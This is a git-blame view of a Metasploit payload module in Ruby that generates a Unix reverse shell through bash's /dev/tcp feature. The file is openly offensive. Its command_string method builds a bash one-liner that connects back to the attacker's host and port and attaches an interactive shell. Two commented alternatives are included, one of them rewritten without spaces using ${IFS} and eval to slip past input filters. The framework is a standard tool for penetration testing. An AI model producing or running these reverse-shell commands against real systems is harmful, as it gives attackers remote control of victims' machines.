Files
metasploit-gs/modules/payloads/singles/cmd/unix/reverse_bash.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

66 lines
2.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
2015-03-09 15:44:14 -05:00
CachedSize = :dynamic
include Msf::Payload::Single
2010-02-24 01:19:59 +00:00
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
2022-11-22 05:49:48 -05:00
'Name' => 'Unix Command Shell, Reverse TCP (/dev/tcp)',
'Description' => %q{
2009-01-02 21:18:51 +00:00
Creates an interactive shell via bash's builtin /dev/tcp.
This will not work on circa 2009 and older Debian-based Linux
distributions (including Ubuntu) because they compile bash
without the /dev/tcp feature.
},
2022-11-22 05:49:48 -05:00
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd_bash',
'RequiredCmd' => 'bash-tcp',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_advanced_options(
[
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
]
)
end
#
# Constructs the payload
#
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
vprint_good(command_string)
return super + command_string
end
2010-02-24 01:19:59 +00:00
#
# Returns the command string to use for execution
#
def command_string
fd = rand(200) + 20
2022-11-22 05:49:48 -05:00
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'";
2009-01-02 21:18:51 +00:00
# same thing, no semicolons
#return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
# same thing, no spaces
#return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
end
2009-01-02 21:18:51 +00:00
end